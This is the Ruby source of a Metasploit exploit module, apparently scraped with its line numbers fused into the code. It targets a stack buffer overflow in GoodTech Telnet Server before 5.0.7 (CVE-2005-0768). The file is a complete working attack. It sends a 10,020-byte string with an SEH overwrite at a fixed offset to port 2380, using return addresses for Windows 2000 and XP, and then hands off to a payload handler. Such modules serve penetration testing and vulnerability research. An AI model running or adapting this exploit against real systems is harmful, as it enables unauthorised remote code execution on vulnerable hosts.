Path: blob/master/modules/exploits/windows/telnet/goodtech_telnet.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'GoodTech Telnet Server Buffer Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in GoodTech Systems Telnet Server18versions prior to 5.0.7. By sending an overly long string, an attacker can19overwrite the buffer and control program execution.20},21'License' => MSF_LICENSE,22'Author' => 'MC',23'References' => [24[ 'CVE', '2005-0768' ],25[ 'OSVDB', '14806'],26[ 'BID', '12815' ],27],28'DefaultOptions' => {29'EXITFUNC' => 'thread'30},31'Payload' => {32'Space' => 400,33'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",34'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44"35},36'Platform' => 'win',37'Targets' => [38[ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ],39[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],40],41'Privileged' => true,42'DisclosureDate' => '2005-03-15',43'DefaultTarget' => 0,44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48}49)50)5152register_options(53[54Opt::RPORT(2380)55]56)57end5859def exploit60connect6162sploit = rand_text_english(10020, payload_badchars)63seh = generate_seh_payload(target.ret)6465sploit[10012, seh.length] = seh6667print_status("Trying target #{target.name}...")6869sock.put(sploit + "\r\n\r\n")7071handler72disconnect73end74end757677